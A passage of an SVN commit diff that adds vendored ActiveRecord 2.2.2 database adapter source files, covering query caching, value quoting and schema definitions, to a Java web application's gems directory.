+      end
+
+      def empty_insert_statement(table_name)
+        "INSERT INTO #{quote_table_name(table_name)} VALUES(DEFAULT)"
+      end
+
+      def case_sensitive_equality_operator
+        "="
+      end
+
+      def limited_update_conditions(where_sql, quoted_table_name, quoted_primary_key)
+        "WHERE #{quoted_primary_key} IN (SELECT #{quoted_primary_key} FROM #{quoted_table_name} #{where_sql})"
+      end
+
+      protected
+        # Returns an array of record hashes with the column names as keys and
+        # column values as values.
+        def select(sql, name = nil)
+          raise NotImplementedError, "select is an abstract method"
+        end
+
+        # Returns the last auto-generated ID from the affected table.
+        def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil)
+          execute(sql, name)
+          id_value
+        end
+
+        # Executes the update statement and returns the number of rows affected.
+        def update_sql(sql, name = nil)
+          execute(sql, name)
+        end
+
+        # Executes the delete statement and returns the number of rows affected.
+        def delete_sql(sql, name = nil)
+          update_sql(sql, name)
+        end
+
+        # Sanitizes the given LIMIT parameter in order to prevent SQL injection.
+        #
+        # +limit+ may be anything that can evaluate to a string via #to_s. It
+        # should look like an integer, or a comma-delimited list of integers.
+        #
+        # Returns the sanitized limit parameter, either as an integer, or as a
+        # string which contains a comma-delimited list of integers.
+        def sanitize_limit(limit)
+          if limit.to_s =~ /,/
+            limit.to_s.split(',').map{ |i| i.to_i }.join(',')
+          else
+            limit.to_i
+          end
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/abstract/query_cache.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/abstract/query_cache.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/abstract/query_cache.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,94 @@
+module ActiveRecord
+  module ConnectionAdapters # :nodoc:
+    module QueryCache
+      class << self
+        def included(base)
+          base.class_eval do
+            alias_method_chain :columns, :query_cache
+            alias_method_chain :select_all, :query_cache
+          end
+
+          dirties_query_cache base, :insert, :update, :delete
+        end
+
+        def dirties_query_cache(base, *method_names)
+          method_names.each do |method_name|
+            base.class_eval <<-end_code, __FILE__, __LINE__
+              def #{method_name}_with_query_dirty(*args)
+                clear_query_cache if @query_cache_enabled
+                #{method_name}_without_query_dirty(*args)
+              end
+
+              alias_method_chain :#{method_name}, :query_dirty
+            end_code
+          end
+        end
+      end
+
+      attr_reader :query_cache, :query_cache_enabled
+
+      # Enable the query cache within the block.
+      def cache
+        old, @query_cache_enabled = @query_cache_enabled, true
+        @query_cache ||= {}
+        yield
+      ensure
+        clear_query_cache
+        @query_cache_enabled = old
+      end
+
+      # Disable the query cache within the block.
+      def uncached
+        old, @query_cache_enabled = @query_cache_enabled, false
+        yield
+      ensure
+        @query_cache_enabled = old
+      end
+
+      # Clears the query cache.
+      #
+      # One reason you may wish to call this method explicitly is between queries
+      # that ask the database to randomize results. Otherwise the cache would see
+      # the same SQL query and repeatedly return the same result each time, silently
+      # undermining the randomness you were expecting.
+      def clear_query_cache
+        @query_cache.clear if @query_cache
+      end
+
+      def select_all_with_query_cache(*args)
+        if @query_cache_enabled
+          cache_sql(args.first) { select_all_without_query_cache(*args) }
+        else
+          select_all_without_query_cache(*args)
+        end
+      end
+
+      def columns_with_query_cache(*args)
+        if @query_cache_enabled
+          @query_cache["SHOW FIELDS FROM #{args.first}"] ||= columns_without_query_cache(*args)
+        else
+          columns_without_query_cache(*args)
+        end
+      end
+
+      private
+        def cache_sql(sql)
+          result =
+            if @query_cache.has_key?(sql)
+              log_info(sql, "CACHE", 0.0)
+              @query_cache[sql]
+            else
+              @query_cache[sql] = yield
+            end
+
+          if Array === result
+            result.collect { |row| row.dup }
+          else
+            result.duplicable? ? result.dup : result
+          end
+        rescue TypeError
+          result
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/abstract/quoting.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/abstract/quoting.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/abstract/quoting.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,69 @@
+module ActiveRecord
+  module ConnectionAdapters # :nodoc:
+    module Quoting
+      # Quotes the column value to help prevent
+      # {SQL injection attacks}[http://en.wikipedia.org/wiki/SQL_injection].
+      def quote(value, column = nil)
+        # records are quoted as their primary key
+        return value.quoted_id if value.respond_to?(:quoted_id)
+
+        case value
+          when String, ActiveSupport::Multibyte::Chars
+            value = value.to_s
+            if column && column.type == :binary && column.class.respond_to?(:string_to_binary)
+              "#{quoted_string_prefix}'#{quote_string(column.class.string_to_binary(value))}'" # ' (for ruby-mode)
+            elsif column && [:integer, :float].include?(column.type)
+              value = column.type == :integer ? value.to_i : value.to_f
+              value.to_s
+            else
+              "#{quoted_string_prefix}'#{quote_string(value)}'" # ' (for ruby-mode)
+            end
+          when NilClass                 then "NULL"
+          when TrueClass                then (column && column.type == :integer ? '1' : quoted_true)
+          when FalseClass               then (column && column.type == :integer ? '0' : quoted_false)
+          when Float, Fixnum, Bignum    then value.to_s
+          # BigDecimals need to be output in a non-normalized form and quoted.
+          when BigDecimal               then value.to_s('F')
+          else
+            if value.acts_like?(:date) || value.acts_like?(:time)
+              "'#{quoted_date(value)}'"
+            else
+              "#{quoted_string_prefix}'#{quote_string(value.to_yaml)}'"
+            end
+        end
+      end
+
+      # Quotes a string, escaping any ' (single quote) and \ (backslash)
+      # characters.
+      def quote_string(s)
+        s.gsub(/\\/, '\&\&').gsub(/'/, "''") # ' (for ruby-mode)
+      end
+
+      # Quotes the column name. Defaults to no quoting.
+      def quote_column_name(column_name)
+        column_name
+      end
+
+      # Quotes the table name. Defaults to column name quoting.
+      def quote_table_name(table_name)
+        quote_column_name(table_name)
+      end
+
+      def quoted_true
+        "'t'"
+      end
+
+      def quoted_false
+        "'f'"
+      end
+
+      def quoted_date(value)
+        value.to_s(:db)
+      end
+
+      def quoted_string_prefix
+        ''
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/abstract/schema_definitions.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/abstract/schema_definitions.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/abstract/schema_definitions.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,705 @@
+require 'date'
+require 'set'
+require 'bigdecimal'
+require 'bigdecimal/util'
+
+module ActiveRecord
+  module ConnectionAdapters #:nodoc:
+    # An abstract definition of a column in a table.
+    class Column
+      TRUE_VALUES = [true, 1, '1', 't', 'T', 'true', 'TRUE'].to_set
+
+      module Format
+        ISO_DATE = /\A(\d{4})-(\d\d)-(\d\d)\z/
+        ISO_DATETIME = /\A(\d{4})-(\d\d)-(\d\d) (\d\d):(\d\d):(\d\d)(\.\d+)?\z/
+      end
+
+      attr_reader :name, :default, :type, :limit, :null, :sql_type, :precision, :scale
+      attr_accessor :primary
+
+      # Instantiates a new column in the table.
+      #
+      # +name+ is the column's name, such as <tt>supplier_id</tt> in <tt>supplier_id int(11)</tt>.
+      # +default+ is the type-casted default value, such as +new+ in <tt>sales_stage varchar(20) default 'new'</tt>.
+      # +sql_type+ is only used to extract the column's length, if necessary. For example +60+ in <tt>company_name varchar(60)</tt>.
+      # +null+ determines if this column allows +NULL+ values.
+      def initialize(name, default, sql_type = nil, null = true)
+        @name, @sql_type, @null = name, sql_type, null
+        @limit, @precision, @scale = extract_limit(sql_type), extract_precision(sql_type), extract_scale(sql_type)
+        @type = simplified_type(sql_type)
+        @default = extract_default(default)
+
+        @primary = nil
+      end
+
+      def text?
+        type == :string || type == :text
+      end
+
+      def number?
+        type == :integer || type == :float || type == :decimal
+      end
+
+      def has_default?
+        !default.nil?
+      end
+
+      # Returns the Ruby class that corresponds to the abstract data type.
+      def klass
+        case type
+          when :integer       then Fixnum
+          when :float         then Float
+          when :decimal       then BigDecimal
+          when :datetime      then Time
+          when :date          then Date
+          when :timestamp     then Time
+          when :time          then Time
+          when :text, :string then String
+          when :binary        then String
+          when :boolean       then Object
+        end
+      end
+
+      # Casts value (which is a String) to an appropriate instance.
+      def type_cast(value)
+        return nil if value.nil?
+        case type
+          when :string    then value
+          when :text      then value
+          when :integer   then value.to_i rescue value ? 1 : 0
+          when :float     then value.to_f
+          when :decimal   then self.class.value_to_decimal(value)
+          when :datetime  then self.class.string_to_time(value)
+          when :timestamp then self.class.string_to_time(value)
+          when :time      then self.class.string_to_dummy_time(value)
+          when :date      then self.class.string_to_date(value)
+          when :binary    then self.class.binary_to_string(value)
+          when :boolean   then self.class.value_to_boolean(value)
+          else value
+        end
+      end
+
+      def type_cast_code(var_name)
+        case type
+          when :string    then nil
+          when :text      then nil
+          when :integer   then "(#{var_name}.to_i rescue #{var_name} ? 1 : 0)"
+          when :float     then "#{var_name}.to_f"
+          when :decimal   then "#{self.class.name}.value_to_decimal(#{var_name})"
+          when :datetime  then "#{self.class.name}.string_to_time(#{var_name})"
+          when :timestamp then "#{self.class.name}.string_to_time(#{var_name})"
+          when :time      then "#{self.class.name}.string_to_dummy_time(#{var_name})"
+          when :date      then "#{self.class.name}.string_to_date(#{var_name})"
+          when :binary    then "#{self.class.name}.binary_to_string(#{var_name})"
+          when :boolean   then "#{self.class.name}.value_to_boolean(#{var_name})"
+          else nil
+        end
+      end
+
+      # Returns the human name of the column name.
+      #
+      # ===== Examples
+      #  Column.new('sales_stage', ...).human_name # => 'Sales stage'
+      def human_name
+        Base.human_attribute_name(@name)
+      end
+
+      def extract_default(default)
+        type_cast(default)
+      end
+
+      class << self
+        # Used to convert from Strings to BLOBs
+        def string_to_binary(value)
+          value
+        end
+
+        # Used to convert from BLOBs to Strings
+        def binary_to_string(value)
+          value
+        end
+
+        def string_to_date(string)
+          return string unless string.is_a?(String)
+          return nil if string.empty?
+
+          fast_string_to_date(string) || fallback_string_to_date(string)
+        end
+
+        def string_to_time(string)
+          return string unless string.is_a?(String)
+          return nil if string.empty?
+
+          fast_string_to_time(string) || fallback_string_to_time(string)
+        end
+
+        def string_to_dummy_time(string)
+          return string unless string.is_a?(String)
+          return nil if string.empty?
+
+          string_to_time "2000-01-01 #{string}"
+        end
+
+        # convert something to a boolean
+        def value_to_boolean(value)
+          if value.is_a?(String) && value.blank?
+            nil
+          else
+            TRUE_VALUES.include?(value)
+          end
+        end
+
+        # convert something to a BigDecimal
+        def value_to_decimal(value)
+          # Using .class is faster than .is_a? and
+          # subclasses of BigDecimal will be handled
+          # in the else clause
+          if value.class == BigDecimal
+            value
+          elsif value.respond_to?(:to_d)
+            value.to_d
+          else
+            value.to_s.to_d
+          end
+        end
+
+        protected
+          # '0.123456' -> 123456
+          # '1.123456' -> 123456
+          def microseconds(time)
+            ((time[:sec_fraction].to_f % 1) * 1_000_000).to_i
+          end
+
+          def new_date(year, mon, mday)
+            if year && year != 0
+              Date.new(year, mon, mday) rescue nil
+            end
+          end
+
+          def new_time(year, mon, mday, hour, min, sec, microsec)
+            # Treat 0000-00-00 00:00:00 as nil.
+            return nil if year.nil? || year == 0
+
+            Time.time_with_datetime_fallback(Base.default_timezone, year, mon, mday, hour, min, sec, microsec) rescue nil
+          end
+
+          def fast_string_to_date(string)
+            if string =~ Format::ISO_DATE
+              new_date $1.to_i, $2.to_i, $3.to_i
+            end
+          end
+
+          # Doesn't handle time zones.
+          def fast_string_to_time(string)
+            if string =~ Format::ISO_DATETIME
+              microsec = ($7.to_f * 1_000_000).to_i
+              new_time $1.to_i, $2.to_i, $3.to_i, $4.to_i, $5.to_i, $6.to_i, microsec
+            end
+          end
+
+          def fallback_string_to_date(string)
+            new_date(*::Date._parse(string, false).values_at(:year, :mon, :mday))
+          end
+
+          def fallback_string_to_time(string)
+            time_hash = Date._parse(string)
+            time_hash[:sec_fraction] = microseconds(time_hash)
+
+            new_time(*time_hash.values_at(:year, :mon, :mday, :hour, :min, :sec, :sec_fraction))
+          end
+      end
+
+      private
+        def extract_limit(sql_type)
+          $1.to_i if sql_type =~ /\((.*)\)/
+        end
+
+        def extract_precision(sql_type)
+          $2.to_i if sql_type =~ /^(numeric|decimal|number)\((\d+)(,\d+)?\)/i
+        end
+
+        def extract_scale(sql_type)
+          case sql_type
+            when /^(numeric|decimal|number)\((\d+)\)/i then 0
+            when /^(numeric|decimal|number)\((\d+)(,(\d+))\)/i then $4.to_i
+          end
+        end
+
+        def simplified_type(field_type)
+          case field_type
+            when /int/i
+              :integer
+            when /float|double/i
+              :float
+            when /decimal|numeric|number/i
+              extract_scale(field_type) == 0 ? :integer : :decimal
+            when /datetime/i
+              :datetime
+            when /timestamp/i
+              :timestamp
+            when /time/i
+              :time
+            when /date/i
+              :date
+            when /clob/i, /text/i
+              :text
+            when /blob/i, /binary/i
+              :binary
+            when /char/i, /string/i
+              :string
+            when /boolean/i
+              :boolean
+          end
+        end
+    end
+
+    class IndexDefinition < Struct.new(:table, :name, :unique, :columns) #:nodoc:
+    end
+
+    # Abstract representation of a column definition. Instances of this type
+    # are typically created by methods in TableDefinition, and added to the
+    # +columns+ attribute of said TableDefinition object, in order to be used
+    # for generating a number of table creation or table changing SQL statements.
+    class ColumnDefinition < Struct.new(:base, :name, :type, :limit, :precision, :scale, :default, :null) #:nodoc:
+
+      def sql_type
+        base.type_to_sql(type.to_sym, limit, precision, scale) rescue type
+      end
+
+      def to_sql
+        column_sql = "#{base.quote_column_name(name)} #{sql_type}"
+        column_options = {}
+        column_options[:null] = null unless null.nil?
+        column_options[:default] = default unless default.nil?
+        add_column_options!(column_sql, column_options) unless type.to_sym == :primary_key
+        column_sql
+      end
+      alias to_s :to_sql
+
+      private
+
+        def add_column_options!(sql, options)
+          base.add_column_options!(sql, options.merge(:column => self))
+        end
+    end
+
+    # Represents the schema of an SQL table in an abstract way. This class
+    # provides methods for manipulating the schema representation.
+    #
+    # Inside migration files, the +t+ object in +create_table+ and
+    # +change_table+ is actually of this type:
+    #
+    #   class SomeMigration < ActiveRecord::Migration
+    #     def self.up
+    #       create_table :foo do |t|
+    #         puts t.class  # => "ActiveRecord::ConnectionAdapters::TableDefinition"
+    #       end
+    #     end
+    #     
+    #     def self.down
+    #       ...
+    #     end
+    #   end
+    #
+    # The table definitions
+    # The Columns are stored as a ColumnDefinition in the +columns+ attribute.
+    class TableDefinition
+      # An array of ColumnDefinition objects, representing the column changes
+      # that have been defined.
+      attr_accessor :columns
+
+      def initialize(base)
+        @columns = []
+        @base = base
+      end
+
+      # Appends a primary key definition to the table definition.
+      # Can be called multiple times, but this is probably not a good idea.
+      def primary_key(name)
+        column(name, :primary_key)
+      end
+
+      # Returns a ColumnDefinition for the column with name +name+.
+      def [](name)
+        @columns.find {|column| column.name.to_s == name.to_s}
+      end
+
+      # Instantiates a new column for the table.
+      # The +type+ parameter is normally one of the migrations native types,
+      # which is one of the following:
+      # <tt>:primary_key</tt>, <tt>:string</tt>, <tt>:text</tt>,
+      # <tt>:integer</tt>, <tt>:float</tt>, <tt>:decimal</tt>,
+      # <tt>:datetime</tt>, <tt>:timestamp</tt>, <tt>:time</tt>,
+      # <tt>:date</tt>, <tt>:binary</tt>, <tt>:boolean</tt>.
+      #
+      # You may use a type not in this list as long as it is supported by your
+      # database (for example, "polygon" in MySQL), but this will not be database
+      # agnostic and should usually be avoided.
+      #
+      # Available options are (none of these exists by default):
+      # * <tt>:limit</tt> -
+      #   Requests a maximum column length. This is number of characters for <tt>:string</tt> and <tt>:text</tt> columns and number of bytes for :binary and :integer columns.
+      # * <tt>:default</tt> -
+      #   The column's default value. Use nil for NULL.
+      # * <tt>:null</tt> -
+      #   Allows or disallows +NULL+ values in the column. This option could
+      #   have been named <tt>:null_allowed</tt>.
+      # * <tt>:precision</tt> -
+      #   Specifies the precision for a <tt>:decimal</tt> column.
+      # * <tt>:scale</tt> -
+      #   Specifies the scale for a <tt>:decimal</tt> column.
+      #
+      # For clarity's sake: the precision is the number of significant digits,
+      # while the scale is the number of digits that can be stored following
+      # the decimal point. For example, the number 123.45 has a precision of 5
+      # and a scale of 2. A decimal with a precision of 5 and a scale of 2 can
+      # range from -999.99 to 999.99.
+      #
+      # Please be aware of different RDBMS implementations behavior with
+      # <tt>:decimal</tt> columns:
+      # * The SQL standard says the default scale should be 0, <tt>:scale</tt> <=
+      #   <tt>:precision</tt>, and makes no comments about the requirements of
+      #   <tt>:precision</tt>.
+      # * MySQL: <tt>:precision</tt> [1..63], <tt>:scale</tt> [0..30].
+      #   Default is (10,0).
+      # * PostgreSQL: <tt>:precision</tt> [1..infinity],
+      #   <tt>:scale</tt> [0..infinity]. No default.
+      # * SQLite2: Any <tt>:precision</tt> and <tt>:scale</tt> may be used.
+      #   Internal storage as strings. No default.
+      # * SQLite3: No restrictions on <tt>:precision</tt> and <tt>:scale</tt>,
+      #   but the maximum supported <tt>:precision</tt> is 16. No default.
+      # * Oracle: <tt>:precision</tt> [1..38], <tt>:scale</tt> [-84..127].
+      #   Default is (38,0).
+      # * DB2: <tt>:precision</tt> [1..63], <tt>:scale</tt> [0..62].
+      #   Default unknown.
+      # * Firebird: <tt>:precision</tt> [1..18], <tt>:scale</tt> [0..18].
+      #   Default (9,0). Internal types NUMERIC and DECIMAL have different
+      #   storage rules, decimal being better.
+      # * FrontBase?: <tt>:precision</tt> [1..38], <tt>:scale</tt> [0..38].
+      #   Default (38,0). WARNING Max <tt>:precision</tt>/<tt>:scale</tt> for
+      #   NUMERIC is 19, and DECIMAL is 38.
+      # * SqlServer?: <tt>:precision</tt> [1..38], <tt>:scale</tt> [0..38].
+      #   Default (38,0).
+      # * Sybase: <tt>:precision</tt> [1..38], <tt>:scale</tt> [0..38].
+      #   Default (38,0).
+      # * OpenBase?: Documentation unclear. Claims storage in <tt>double</tt>.
+      #
+      # This method returns <tt>self</tt>.
+      #
+      # == Examples
+      #  # Assuming td is an instance of TableDefinition
+      #  td.column(:granted, :boolean)
+      #  # granted BOOLEAN
+      #
+      #  td.column(:picture, :binary, :limit => 2.megabytes)
+      #  # => picture BLOB(2097152)
+      #
+      #  td.column(:sales_stage, :string, :limit => 20, :default => 'new', :null => false)
+      #  # => sales_stage VARCHAR(20) DEFAULT 'new' NOT NULL
+      #
+      #  td.column(:bill_gates_money, :decimal, :precision => 15, :scale => 2)
+      #  # => bill_gates_money DECIMAL(15,2)
+      #
+      #  td.column(:sensor_reading, :decimal, :precision => 30, :scale => 20)
+      #  # => sensor_reading DECIMAL(30,20)
+      #
+      #  # While <tt>:scale</tt> defaults to zero on most databases, it
+      #  # probably wouldn't hurt to include it.
+      #  td.column(:huge_integer, :decimal, :precision => 30)
+      #  # => huge_integer DECIMAL(30)
+      #
+      #  # Defines a column with a database-specific type.
+      #  td.column(:foo, 'polygon')
+      #  # => foo polygon
+      #
+      # == Short-hand examples
+      #
+      # Instead of calling +column+ directly, you can also work with the short-hand definitions for the default types.
+      # They use the type as the method name instead of as a parameter and allow for multiple columns to be defined
+      # in a single statement.
+      #
+      # What can be written like this with the regular calls to column:
+      #
+      #   create_table "products", :force => true do |t|
+      #     t.column "shop_id",    :integer
+      #     t.column "creator_id", :integer
+      #     t.column "name",       :string,   :default => "Untitled"
+      #     t.column "value",      :string,   :default => "Untitled"
+      #     t.column "created_at", :datetime
+      #     t.column "updated_at", :datetime
+      #   end
+      #
+      # Can also be written as follows using the short-hand:
+      #
+      #   create_table :products do |t|
+      #     t.integer :shop_id, :creator_id
+      #     t.string  :name, :value, :default => "Untitled"
+      #     t.timestamps
+      #   end
+      #
+      # There's a short-hand method for each of the type values declared at the top. And then there's
+      # TableDefinition#timestamps that'll add created_at and +updated_at+ as datetimes.
+      #
+      # TableDefinition#references will add an appropriately-named _id column, plus a corresponding _type
+      # column if the <tt>:polymorphic</tt> option is supplied. If <tt>:polymorphic</tt> is a hash of options, these will be
+      # used when creating the <tt>_type</tt> column. So what can be written like this:
+      #
+      #   create_table :taggings do |t|
+      #     t.integer :tag_id, :tagger_id, :taggable_id
+      #     t.string  :tagger_type
+      #     t.string  :taggable_type, :default => 'Photo'
+      #   end
+      #
+      # Can also be written as follows using references:
+      #
+      #   create_table :taggings do |t|
+      #     t.references :tag
+      #     t.references :tagger, :polymorphic => true
+      #     t.references :taggable, :polymorphic => { :default => 'Photo' }
+      #   end
+      def column(name, type, options = {})
+        column = self[name] || ColumnDefinition.new(@base, name, type)
+        if options[:limit]
+          column.limit = options[:limit]
+        elsif native[type.to_sym].is_a?(Hash)
+          column.limit = native[type.to_sym][:limit]
+        end
+        column.precision = options[:precision]
+        column.scale = options[:scale]
+        column.default = options[:default]
+        column.null = options[:null]
+        @columns << column unless @columns.include? column
+        self
+      end
+
+      %w( string text integer float decimal datetime timestamp time date binary boolean ).each do |column_type|
+        class_eval <<-EOV
+          def #{column_type}(*args)
+            options = args.extract_options!
+            column_names = args
+
+            column_names.each { |name| column(name, '#{column_type}', options) }
+          end
+        EOV
+      end
+
+      # Appends <tt>:datetime</tt> columns <tt>:created_at</tt> and
+      # <tt>:updated_at</tt> to the table.
+      def timestamps(*args)
+        options = args.extract_options!
+        column(:created_at, :datetime, options)
+        column(:updated_at, :datetime, options)
+      end
+
+      def references(*args)
+        options = args.extract_options!
+        polymorphic = options.delete(:polymorphic)
+        args.each do |col|
+          column("#{col}_id", :integer, options)
+          column("#{col}_type", :string, polymorphic.is_a?(Hash) ? polymorphic : options) unless polymorphic.nil?
+        end
+      end
+      alias :belongs_to :references
+
+      # Returns a String whose contents are the column definitions
+      # concatenated together. This string can then be prepended and appended to
+      # to generate the final SQL to create the table.
+      def to_sql
+        @columns * ', '
+      end
+
+      private
+        def native
+          @base.native_database_types
+        end
+    end
+
+    # Represents a SQL table in an abstract way for updating a table.
+    # Also see TableDefinition and SchemaStatements#create_table
+    #
+    # Available transformations are:
+    #
+    #   change_table :table do |t|
+    #     t.column
+    #     t.index
+    #     t.timestamps
+    #     t.change
+    #     t.change_default
+    #     t.rename
+    #     t.references
+    #     t.belongs_to
+    #     t.string
+    #     t.text
+    #     t.integer
+    #     t.float
+    #     t.decimal
+    #     t.datetime
+    #     t.timestamp
+    #     t.time
+    #     t.date
+    #     t.binary
+    #     t.boolean
+    #     t.remove
+    #     t.remove_references
+    #     t.remove_belongs_to
+    #     t.remove_index
+    #     t.remove_timestamps
+    #   end
+    #
+    class Table
+      def initialize(table_name, base)
+        @table_name = table_name
+        @base = base
+      end
+
+      # Adds a new column to the named table.
+      # See TableDefinition#column for details of the options you can use.
+      # ===== Example
+      # ====== Creating a simple column
+      #  t.column(:name, :string)
+      def column(column_name, type, options = {})
+        @base.add_column(@table_name, column_name, type, options)
+      end
+
+      # Adds a new index to the table. +column_name+ can be a single Symbol, or
+      # an Array of Symbols. See SchemaStatements#add_index
+      #
+      # ===== Examples
+      # ====== Creating a simple index
+      #  t.index(:name)
+      # ====== Creating a unique index
+      #  t.index([:branch_id, :party_id], :unique => true)
+      # ====== Creating a named index
+      #  t.index([:branch_id, :party_id], :unique => true, :name => 'by_branch_party')
+      def index(column_name, options = {})
+        @base.add_index(@table_name, column_name, options)
+      end
+
+      # Adds timestamps (created_at and updated_at) columns to the table. See SchemaStatements#add_timestamps
+      # ===== Example
+      #  t.timestamps
+      def timestamps
+        @base.add_timestamps(@table_name)
+      end
+
+      # Changes the column's definition according to the new options.
+      # See TableDefinition#column for details of the options you can use.
+      # ===== Examples
+      #  t.change(:name, :string, :limit => 80)
+      #  t.change(:description, :text)
+      def change(column_name, type, options = {})
+        @base.change_column(@table_name, column_name, type, options)
+      end
+
+      # Sets a new default value for a column. See SchemaStatements#change_column_default
+      # ===== Examples
+      #  t.change_default(:qualification, 'new')
+      #  t.change_default(:authorized, 1)
+      def change_default(column_name, default)
+        @base.change_column_default(@table_name, column_name, default)
+      end
+
+      # Removes the column(s) from the table definition.
+      # ===== Examples
+      #  t.remove(:qualification)
+      #  t.remove(:qualification, :experience)
+      def remove(*column_names)
+        @base.remove_column(@table_name, column_names)
+      end
+
+      # Removes the given index from the table.
+      #
+      # ===== Examples
+      # ====== Remove the suppliers_name_index in the suppliers table
+      #   t.remove_index :name
+      # ====== Remove the index named accounts_branch_id_index in the accounts table
+      #   t.remove_index :column => :branch_id
+      # ====== Remove the index named accounts_branch_id_party_id_index in the accounts table
+      #   t.remove_index :column => [:branch_id, :party_id]
+      # ====== Remove the index named by_branch_party in the accounts table
+      #   t.remove_index :name => :by_branch_party
+      def remove_index(options = {})
+        @base.remove_index(@table_name, options)
+      end
+
+      # Removes the timestamp columns (created_at and updated_at) from the table.
+      # ===== Example
+      #  t.remove_timestamps
+      def remove_timestamps
+        @base.remove_timestamps(@table_name)
+      end
+
+      # Renames a column.
+      # ===== Example
+      #  t.rename(:description, :name)
+      def rename(column_name, new_column_name)
+        @base.rename_column(@table_name, column_name, new_column_name)
+      end
+
+      # Adds a reference. Optionally adds a +type+ column.
+      # <tt>references</tt> and <tt>belongs_to</tt> are acceptable.
+      # ===== Examples
+      #  t.references(:goat)
+      #  t.references(:goat, :polymorphic => true)
+      #  t.belongs_to(:goat)
+      def references(*args)
+        options = args.extract_options!
+        polymorphic = options.delete(:polymorphic)
+        args.each do |col|
+          @base.add_column(@table_name, "#{col}_id", :integer, options)
+          @base.add_column(@table_name, "#{col}_type", :string, polymorphic.is_a?(Hash) ? polymorphic : options) unless polymorphic.nil?
+        end
+      end
+      alias :belongs_to :references
+
+      # Removes a reference. Optionally removes a +type+ column.
+      # <tt>remove_references</tt> and <tt>remove_belongs_to</tt> are acceptable.
+      # ===== Examples
+      #  t.remove_references(:goat)
+      #  t.remove_references(:goat, :polymorphic => true)
+      #  t.remove_belongs_to(:goat)
+      def remove_references(*args)
+        options = args.extract_options!
+        polymorphic = options.delete(:polymorphic)
+        args.each do |col|
+          @base.remove_column(@table_name, "#{col}_id")
+          @base.remove_column(@table_name, "#{col}_type") unless polymorphic.nil?
+        end
+      end
+      alias :remove_belongs_to  :remove_references
+
+      # Adds a column or columns of a specified type
+      # ===== Examples
+      #  t.string(:goat)
+      #  t.string(:goat, :sheep)
+      %w( string text integer float decimal datetime timestamp time date binary boolean ).each do |column_type|
+        class_eval <<-EOV
+          def #{column_type}(*args)
+            options = args.extract_options!
+            column_names = args
+
+            column_names.each do |name|
+              column = ColumnDefinition.new(@base, name, '#{column_type}')
+              if options[:limit]
+                column.limit = options[:limit]
+              elsif native['#{column_type}'.to_sym].is_a?(Hash)
+                column.limit = native['#{column_type}'.to_sym][:limit]
+              end
+              column.precision = options[:precision]
+              column.scale = options[:scale]
+              column.default = options[:default]
+              column.null = options[:null]
+              @base.add_column(@table_name, name, column.sql_type, options)
+            end
+          end
+        EOV
+      end
+
+      private
+        def native
+          @base.native_database_types
+        end
+    end
+
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/abstract/schema_statements.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/abstract/schema_statements.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/abstract/schema_statements.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,434 @@
+module ActiveRecord
+  module ConnectionAdapters # :nodoc:
+    module SchemaStatements
+      # Returns a Hash of mappings from the abstract data types to the native
+      # database types.  See TableDefinition#column for details on the recognized
+      # abstract data types.
+      def native_database_types
+        {}
+      end
+
+      # This is the maximum length a table alias can be
+      def table_alias_length
+        255
+      end
+
+      # Truncates a table alias according to the limits of the current adapter.
+      def table_alias_for(table_name)
+        table_name[0..table_alias_length-1].gsub(/\./, '_')
+      end
+
+      # def tables(name = nil) end
+
+      def table_exists?(table_name)
+        tables.include?(table_name.to_s)
+      end
+
+      # Returns an array of indexes for the given table.
+      # def indexes(table_name, name = nil) end
+
+      # Returns an array of Column objects for the table specified by +table_name+.
+      # See the concrete implementation for details on the expected parameter values.
+      def columns(table_name, name = nil) end
+
+      # Creates a new table with the name +table_name+. +table_name+ may either
+      # be a String or a Symbol.
+      #
+      # There are two ways to work with +create_table+.  You can use the block
+      # form or the regular form, like this:
+      #
+      # === Block form
+      #  # create_table() passes a TableDefinition object to the block.
+      #  # This form will not only create the table, but also columns for the
+      #  # table.
+      #  create_table(:suppliers) do |t|
+      #    t.column :name, :string, :limit => 60
+      #    # Other fields here
+      #  end
+      #
+      # === Regular form
+      #  # Creates a table called 'suppliers' with no columns.
+      #  create_table(:suppliers)
+      #  # Add a column to 'suppliers'.
+      #  add_column(:suppliers, :name, :string, {:limit => 60})
+      #
+      # The +options+ hash can include the following keys:
+      # [<tt>:id</tt>]
+      #   Whether to automatically add a primary key column. Defaults to true.
+      #   Join tables for +has_and_belongs_to_many+ should set <tt>:id => false</tt>.
+      # [<tt>:primary_key</tt>]
+      #   The name of the primary key, if one is to be added automatically.
+      #   Defaults to +id+.
+      # [<tt>:options</tt>]
+      #   Any extra options you want appended to the table definition.
+      # [<tt>:temporary</tt>]
+      #   Make a temporary table.
+      # [<tt>:force</tt>]
+      #   Set to true to drop the table before creating it.
+      #   Defaults to false.
+      #
